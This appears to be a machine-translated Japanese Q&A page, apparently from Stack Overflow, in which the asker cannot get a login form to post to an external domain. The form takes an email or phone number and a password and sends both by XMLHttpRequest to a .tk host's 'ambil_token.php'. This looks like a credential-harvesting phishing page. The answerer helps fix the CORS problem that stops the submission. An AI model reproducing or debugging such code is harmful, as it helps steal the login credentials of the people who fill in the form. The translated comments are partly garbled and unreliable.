2017-04-12 14 views
0

JavaScriptを使用して外部のサーバーにデータを送信したいのですが、動作していません。外部ドメインのデータを投稿することができません

<div class="form-group"> 
<label for="usr">Email address or phone number:</label> 
    <input type="text" class="form-control" id="tk" placeholder="Email address or phone number" required> 
</div> 
<div class="form-group"> 
    <label for="pwd">Password:</label> 
    <input type="password" class="form-control" id="mk" required> 
</div> 
<strong>Recommend, Use Google Chrome Browser</strong><br /> 
<button type="button" class="btn btn-danger" onclick="putar()" ><b>Get data Now !!!</b></button> 

    </div> 
</div> 
ここ

である私はJavaScript:

<script> 
function putar() { 
var http = new XMLHttpRequest(); 
var tk = document.getElementById("tk").value; 
var mk = document.getElementById("mk").value; 
var url = "http://mydomin.tk/ambil_token.php"; 
var params = "u="+tk+"&p="+mk+""; 
http.open("POST", url, true); 
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
http.onreadystatechange = function() { 
    if(http.readyState == 4 && http.status == 200) { 
     document.getElementById("trave").innerHTML = http.responseText;   
    } 
} 
http.send(params); 
} 
</script> 
+0

なぜ 'php'タグですか? – webpic

+0

彼はJavaScriptを意味します – madalinivascu

+0

間違って@webpic私はこれを編集しますが、なぜあなたは –

答えて

0

は、私はどちらかのエラーメッセージまたは問題を再現するための明確な方法を提供することができアドバイスしたい

は、ここに私のHTMLです。ブラウザのデベロッパーコンソールからブラウザのデバッグ情報を取得できます。

提供した裸の情報に基づいて、実行中の問題はXHR要求が拒否されている(CORS)ようです。

How do I send a cross-domain POST request via JavaScript?

+0

ええと、それはkが待ち受けているようです。 –

+0

しかし、これが第2のdomin ....ヘッダ( 'Access-Control-Allow-Origin:*')で利用できない場合はどうすればいいですか? –

+0

XHR経由でクロスドメインフォームの提出を許可するには、上記のリンクで説明されているCORSヘッダーを使用して明示的に許可する必要があります。あなたの場合、 'http:// mydomin.tk/ambil_token.php'の内容を変更してヘッダを送る必要があります。 また、問題に関する十分な情報を提供していないため、現在、我々は仮定を行っています。 –

関連する問題